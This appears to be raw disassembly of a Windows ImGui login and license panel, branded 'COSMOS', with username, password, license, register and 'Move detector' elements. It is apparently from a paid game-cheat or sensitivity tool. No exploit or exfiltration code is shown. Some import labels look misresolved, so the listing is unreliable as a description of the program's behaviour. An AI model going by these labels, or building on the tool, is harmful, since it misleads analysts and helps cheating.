movdqa xmm0, xmmword [0x1400e9800]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rbp + 0xe8], 0
mov dword [rbp + 0xe0], 0x44870000
mov dword [rbp + 0xe4], 0x44070000
call fcn.140004340
mov rbx, qword [0x1402be7b0]
mov esi, eax
cmp dword [rbx + 0x48a0], 0
jg 0x140060b77
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rbx + 0x48a8]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rcx]
call fcn.140008580
mov dword [rbp + 0xd0], 0x3f800000
mov rbx, rax
mov dword [rbp + 0xd4], 0x3f800000
mov qword [rbp + 0xd8], 0
test esi, 0xff000000
je 0x140060c69
mov rdx, qword [0x1402be9e8]
cmp rdx, qword [rax + 0x98]
setne dil
je 0x140060bd9
mov rcx, rax
call fcn.140028d40
mov edx, 6
mov r8d, 4
mov rcx, rbx
call fcn.140028dc0
lea rax, [rbp + 0xd0]
mov dword [rsp + 0x28], esi
lea r9, [rbp + 0xd8]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0xe0]
mov rcx, rbx
lea rdx, [rbp + 0xe8]
call fcn.140028f90
test dil, dil
je 0x140060c69
cmp dword [rbx + 0x68], 0
jg 0x140060c3e
mov r8d, 0x713
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x140060c51
mov rax, r14
jmp 0x140060c5a
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140028ad0
mov rcx, qword [0x1402be7b0]
lea r9, [rbp + 0xf0]
lea r8, [rbp + 0xf8]
mov dword [rbp + 0xf0], 0x3f800000
lea rdx, [rbp + 0x100]
mov dword [rbp + 0xf4], 0x3f800000
mov qword [rbp + 0xf8], 0
mov rax, qword [rcx + 0x3ed0]
mov dword [rbp + 0x100], 0x43af0000
mov dword [rbp + 0x104], 0x44098000
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
mov byte [rax + 0x139], r12b
addss xmm0, dword [0x1400e959c]
addss xmm1, dword [0x1400e9614]
movss dword [rax + 0xfc], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400e9b30]
movss dword [rax + 0xf8], xmm1
lea rax, [rsp + 0x60]
mov rcx, qword [0x1402be810]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x20], rax
call fcn.140039bc0
lea rcx, [rbp + 0x190]
call fcn.140004340
mov rbx, qword [0x1402be7b0]
lea rsi, str.COSMOS_BASIC
movss xmm3, dword [0x1400e9654]
lea rdx, [rbp + 0x40]
movaps xmm6, xmm11
mov qword [rsp + 0x30], r14
addss xmm6, dword [0x1400e9618]
movss xmm2, dword [rbx + 0x3c20]
movaps xmm7, xmm10
mov rcx, qword [rbx + 0x3c18]
movaps xmm9, xmm11
addss xmm7, dword [0x1400e958c]
movaps xmm8, xmm10
mov qword [rsp + 0x28], rsi
addss xmm8, dword [0x1400e95d0]
movss dword [rsp + 0x20], xmm14
addss xmm9, xmm12
mov edi, eax
call fcn.1400346b0
movss xmm0, dword [rbp + 0x40]
subss xmm6, xmm9
subss xmm7, xmm8
addss xmm0, dword [0x1400e94d8]
mulss xmm6, xmm15
mulss xmm7, xmm15
addss xmm9, xmm6
cvttss2si eax, xmm0
movss xmm0, dword [rbp + 0x44]
addss xmm8, xmm7
mulss xmm0, xmm15
movd xmm1, eax
subss xmm8, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x10c], xmm8
movss dword [rbp + 0x40], xmm1
mulss xmm1, xmm15
subss xmm9, xmm1
movss dword [rbp + 0x108], xmm9
test edi, 0xff000000
je 0x140060eb7
mov rax, qword [r15 + 0x38]
mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [r15 + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x140060e63
mov r8d, 0x64d
lea rdx, str.D:PANELES_CSENSI_XEONimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [r15 + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x1400e8ffc]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x108]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov rdx, r15
mov rcx, rbx
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.1400348d0
mov rbx, qword [0x1402be7b0]
mov rax, qword [rbx + 0x3ed0]
lea r9, [rbp + 0x110]
movdqa xmm6, xmmword [0x1400e9b30]
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x120]
mov dword [rbp + 0x110], 0x3f800000
movups xmmword [rbp - 0x80], xmm6
mov byte [rax + 0xb0], r12b
mov rax, qword [rbx + 0x3ed0]
mov dword [rbp + 0x114], 0x3f800000
mov qword [rbp + 0x118], 0
mov dword [rbp + 0x120], 0x42200000
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x124], 0x42200000
addss xmm0, dword [0x1400e95d0]
addss xmm1, dword [0x1400e95b4]
movss dword [rax + 0xfc], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movss dword [rax + 0xf8], xmm1
lea rax, [rsp + 0x60]
mov rcx, qword [0x1402be998]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
call fcn.140039bc0
mov rbx, qword [0x1402be7b0]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm6
mov rax, qword [rbx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rbx + 0x3ed0]
mov rsi, qword [rax + 0x290]
call fcn.140004340
mov rdi, qword [0x1402be9d8]
movaps xmm0, xmm11
movaps xmm1, xmm10
mov r14d, eax
addss xmm0, dword [0x1400e95b8]
addss xmm1, dword [0x1400e95e8]
movss dword [rbp + 0x128], xmm0
movss dword [rbp + 0x12c], xmm1
test eax, 0xff000000
je 0x140061093
test rdi, rdi
jne 0x140061001
mov rax, qword [rsi + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rsi + 0x98]
cmp qword [rcx + 8], rax
je 0x14006102c
mov r8d, 0x64d
lea rdx, str.D:PANELES_CSENSI_XEONimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
lea rax, [0x1400e9335]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400e958c]
lea r9, [rbp + 0x128]
movss dword [rsp + 0x40], xmm12
mov rdx, rsi
mov qword [rsp + 0x38], rax
mov rcx, rdi
lea rax, str.Wellcome_Back
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
movups xmmword [rsp + 0x60], xmm0
call fcn.1400348d0
mov rdi, qword [0x1402be9d8]
mov rbx, qword [0x1402be7b0]
mov rax, qword [rbx + 0x3ed0]
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm6
mov byte [rax + 0xb0], r12b
mov rax, qword [rbx + 0x3ed0]
mov rsi, qword [rax + 0x290]
call fcn.140004340
mov r14d, eax
addss xmm11, dword [0x1400e9604]
addss xmm10, dword [0x1400e961c]
movss dword [rbp + 0x130], xmm11
movss dword [rbp + 0x134], xmm10
test eax, 0xff000000
je 0x140061188
test rdi, rdi
jne 0x1400610fd
mov rax, qword [rsi + 0x38]
mov rdi, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov rax, qword [rsi + 0x98]
cmp qword [rcx + 8], rax
je 0x140061128
mov r8d, 0x64d
lea rdx, str.D:PANELES_CSENSI_XEONimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
lea rax, [0x1400e9353]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400e9574]
lea r9, [rbp + 0x130]
movss dword [rsp + 0x40], xmm12
mov rdx, rsi
mov qword [rsp + 0x38], rax
mov rcx, rdi
lea rax, str.Recuerda_comprar_con_cosmos
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
movups xmmword [rsp + 0x60], xmm0
call fcn.1400348d0
mov rbx, qword [0x1402be7b0]
mov rax, qword [rbx + 0x3ed0]
mov dword [rbp + 0x138], 0x44340000
mov dword [rbp + 0x13c], 0x41c80000
mov byte [rax + 0xb0], r12b
mov rdi, qword [rbx + 0x3ed0]
cmp dword [rdi + 0xe8], 0
jg 0x1400611db
mov r8d, 0x706
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402be7b0]
movsxd rax, dword [rdi + 0xe8]
lea rcx, str.MIN
mov r8, qword [rdi + 0xf0]
xor edx, edx
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003d10
mov esi, eax
cmp dword [rbx + 0x3f18], eax
jne 0x140061219
lea r8, str.MIN
mov edx, ntohl
mov ecx, eax
call fcn.14001ea50
lea rdx, [rbp + 0x138]
mov ecx, esi
call fcn.140038fb0
test al, al
je 0x14006123f
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [rdi + 0xe8], 0
mov dword [rbp + 0x140], 0x442a0000
mov dword [rbp + 0x144], 0x41a00000
jg 0x140061276
mov r8d, 0x706
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rax, dword [rdi + 0xe8]
lea rcx, str.CLOSE
mov r8, qword [rdi + 0xf0]
xor edx, edx
mov r8d, dword [r8 + rax*4 - 4]
call fcn.140003d10
mov rcx, qword [0x1402be7b0]
mov ebx, eax
cmp dword [rcx + 0x3f18], eax
jne 0x1400612bb
lea r8, str.CLOSE
mov edx, ntohl
mov ecx, eax
call fcn.14001ea50
lea rdx, [rbp + 0x140]
mov ecx, ebx
call fcn.140038bf0
test al, al
jne 0x140061dfc
mov rax, qword [0x1402be7b0]
mov rcx, qword [rax + 0x3ed0]
movsd xmm0, qword [rcx + 0x18]
movsd qword [rbp - 0x80], xmm0
call fcn.1400123e0
mov rcx, qword [0x1402be7b0]
lea rdx, str.Inputs
movss xmm11, dword [0x1400e95ec]
mov dword [rbp + 0x148], 0x43fa0000
mov dword [rbp + 0x14c], 0x438c0000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r12b
addss xmm1, xmm13
addss xmm0, xmm11
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007ac0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x148]
lea rcx, str.Inputs
call fcn.14000bd70
xor r14d, r14d
mov dword [rbp + 0x150], 0x43910000
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x150]
mov qword [rsp + 0x30], r14
lea r8, [0x1402be8a0]
mov dword [rsp + 0x28], r14d
lea rcx, str.Username
mov r9d, 0x40
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rbp + 0x154], 0x42480000
call fcn.140041380
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x158]
mov qword [rsp + 0x30], r14
lea r8, [0x1402be830]
mov dword [rsp + 0x28], r14d
lea rcx, str.Password
mov r9d, 0x40
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rbp + 0x158], 0x43910000
mov dword [rbp + 0x15c], 0x42480000
call fcn.140041380
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x160]
mov qword [rsp + 0x30], r14
lea r8, [0x1402be7d0]
mov dword [rsp + 0x28], r14d
lea rcx, str.License
mov r9d, 0x40
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rbp + 0x160], 0x43910000
mov dword [rbp + 0x164], 0x42480000
call fcn.140041380
mov rcx, qword [0x1402be7b0]
movss xmm10, dword [0x1400e95f0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
addss xmm1, xmm11
addss xmm0, xmm10
movss dword [rax + 0xf8], xmm1
lea rdx, [rbp + 0x168]
movss dword [rax + 0xfc], xmm0
lea rcx, str.Login
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x168], 0x42dc0000
mov dword [rbp + 0x16c], 0x42200000
call fcn.1400383f0
test al, al
je 0x1400615ca
lea rdx, [0x1402be830]
lea rcx, [rbp - 0x60]
call fcn.140048520
lea rdx, [0x1402be8a0]
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.140048520
mov r8, rbx
lea rcx, [0x1402dfb60]
mov rdx, rax
call fcn.140070300
cmp byte [0x1402dfd78], r14b
lea rcx, [0x1402dfd80]
movups xmm6, xmmword [0x1402bd9b8]
je 0x14006157b
mov dword [0x1402e43e8], r12d
call fcn.140048420
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.140048520
lea rcx, [rbp + 0x280]
jmp 0x140061593
call fcn.140048420
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140048520
lea rcx, [rbp - 0x60]
lea rdx, str.Notification
mov rbx, rax
call fcn.140048520
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32logintrick.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov rcx, qword [0x1402be7b0]
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x42dc0000
mov dword [rbp + 0x174], 0x42200000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Register
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r12b
addss xmm1, xmm12
addss xmm0, xmm10
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.1400383f0
test al, al
je 0x14006174b
lea rdx, [0x1402be7d0]
lea rcx, [rbp + 0x280]
call fcn.140048520
lea rdx, [0x1402be830]
mov rdi, rax
lea rcx, [rbp - 0x60]
call fcn.140048520
lea rdx, [0x1402be8a0]
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.140048520
mov r9, rdi
lea rcx, [0x1402dfb60]
mov r8, rbx
mov rdx, rax
call fcn.140072640
movups xmm6, xmmword [0x1402bd9b8]
lea rcx, [0x1402dfd80]
call fcn.140048420
cmp byte [0x1402dfd78], r14b
lea rcx, [rbp + 0x280]
mov rdx, rax
je 0x14006170b
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rbp - 0x60]
call fcn.140048520
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32logintrick.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov dword [0x1402e43e8], r12d
jmp 0x14006174b
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rbp - 0x60]
call fcn.140048520
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32logintrick.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400160c0
lea rcx, [rbp + 0x190]
call fcn.140004340
mov rcx, qword [0x1402be7b0]
lea rsi, str.Dev_cosmos
movss xmm9, dword [rbp - 0x80]
lea rdx, [rbp - 0x10]
movss xmm8, dword [rbp - 0x7c]
movaps xmm7, xmm9
movss xmm3, dword [0x1400e9654]
addss xmm7, xmm11
movss xmm2, dword [rcx + 0x3c20]
addss xmm9, xmm12
mov rcx, qword [rcx + 0x3c18]
movaps xmm6, xmm8
addss xmm6, dword [0x1400e963c]
addss xmm8, dword [0x1400e955c]
mov qword [rsp + 0x30], r14
mov edi, eax
mov qword [rsp + 0x28], rsi
movss dword [rsp + 0x20], xmm14
call fcn.1400346b0
movss xmm0, dword [rbp - 0x10]
subss xmm7, xmm9
subss xmm6, xmm8
addss xmm0, dword [0x1400e94d8]
mulss xmm7, xmm15
mulss xmm6, xmm15
addss xmm9, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [rbp - 0xc]
addss xmm8, xmm6
mulss xmm0, xmm15
movd xmm1, eax
subss xmm8, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x1c], xmm8
movss dword [rbp - 0x10], xmm1
mulss xmm1, xmm15
subss xmm9, xmm1
movss dword [rbp + 0x18], xmm9
test edi, 0xff000000
je 0x1400618c2
mov rax, qword [r15 + 0x38]
mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [r15 + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x140061878
mov r8d, 0x64d
lea rdx, str.D:PANELES_CSENSI_XEONimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [r15 + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x1400e93d2]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x18]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov rdx, r15
mov rcx, rbx
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.1400348d0
call fcn.14000c0d0
movss xmm8, dword [0x1400e9468]
call fcn.140056b90
call fcn.14005ac20
call fcn.140055a60
mov rcx, qword [0x1402be7b0]
lea rdx, [rbp + 0x20]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
lea rcx, str.Move_detector
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r12b
addss xmm1, xmm12
addss xmm0, xmm12
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
movss xmm0, dword [0x1402bd868]
movss xmm1, dword [0x1402bd86c]
movss dword [rbp + 0x20], xmm0
movss dword [rbp + 0x24], xmm1
call fcn.140038ab0
mov rax, qword [0x1402be7b0]
mov ecx, dword [rax + 0x3f30]
test ecx, ecx
je 0x140061a05
cmp ecx, dword [rax + 0x476c]
jne 0x140061a05
mov rcx, qword [0x1402be9a0]
lea rdx, [0x1402be9b8]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x1402bd86c]
lea rcx, [rbp + 0x410]
cvttss2si esi, dword [0x1402bd868]
movaps xmm2, xmm14
call fcn.140013750
movd xmm0, dword [0x1402be9bc]
lea rcx, [rbp + 0x188]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm14
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140013750
mov r9d, esi
mov rcx, qword [0x1402be9a0]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x1402be9b8]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.140011870
mov rdi, qword [0x1402be9a0]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140061a72
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140061a69
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x78], rcx
lea rdx, [rbp - 0x80]
mov rcx, rdi
mov dword [rbp - 0x80], reloc.WS2_32.dll_send
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rbp - 0x70], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.14000b590
mov rcx, qword [0x1402f46b0]
lea r8, [0x1402f4658]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x260], xmm0
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1402f46b0]
lea r8, [rbp + 0x260]
mov rdx, qword [0x1402f4658]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x1402be7b0]
cmp dword [rbx + 0x48a0], 0
jg 0x140061ae6
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rcx, qword [rax]
mov rax, r14
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140049940
mov rcx, qword [0x1402f4660]
xor r8d, r8d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x14005e760
mov rbx, qword [0x1402be7b0]
test rbx, rbx
je 0x140061b38
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140061b5c
jmp 0x140061b3b
mov rdi, r14
mov r8d, 0x241
lea rdx, str.D:PANELES_CSENSI_XEON_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402be7b0]
test rbx, rbx
jne 0x140061b82
mov r8d, 0xfe3
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1402be7b0]
call fcn.14004a8f0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140061b96
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140061ba4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140061bb3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x1402be7b0]
mov qword [rbx + 0x90], r14
mov qword [rbx + 0xa0], r14
test rax, rax
je 0x140061bd3
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1402be7b0]
test rax, rax
je 0x140061bf6
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x140061c1a
jmp 0x140061bf9
mov rbx, r14
mov r8d, 0xa6
lea rdx, str.D:PANELES_CSENSI_XEON_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402be7b0]
test rax, rax
jne 0x140061c40
mov r8d, 0xfe3
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1402be7b0]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x140061c5a
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1402be7b0]
mov qword [rdi + 0x80], r14
mov qword [rdi + 0x90], r14
test rax, rax
je 0x140061c73
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1402be7b0]
mov qword [0x1402be7b0], rbx
call fcn.140006a40
mov qword [0x1402be7b0], r14
test rbx, rbx
je 0x140061cbe
mov rcx, rbx
call fcn.14001fef0
mov rax, qword [0x1402be7b0]
test rax, rax
je 0x140061cb5
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140056f80
mov rcx, qword [0x1402be9a0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm9, xmmword [rsp + 0xe20]
xor eax, eax
movaps xmm10, xmmword [rsp + 0xe10]
movaps xmm11, xmmword [rsp + 0xe00]
movaps xmm7, xmmword [rsp + 0xe40]
movaps xmm12, xmmword [rsp + 0xdf0]
movaps xmm13, xmmword [rsp + 0xde0]
movaps xmm8, xmmword [rsp + 0xe30]
movaps xmm14, xmmword [rsp + 0xdd0]
mov r14, qword [rsp + 0xe60]
mov r13, qword [rsp + 0xe68]
mov rsi, qword [rsp + 0xe98]
mov rdi, qword [rsp + 0xea0]
movaps xmm15, xmmword [rsp + 0xdc0]
mov rbx, qword [rsp + 0xe90]
movaps xmm6, xmmword [rsp + 0xe50]
mov r12, qword [rsp + 0xe70]
add rsp, 0xe78
pop r15
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 8], r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140056f80
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x310]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x140061d3d
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 8], r15d
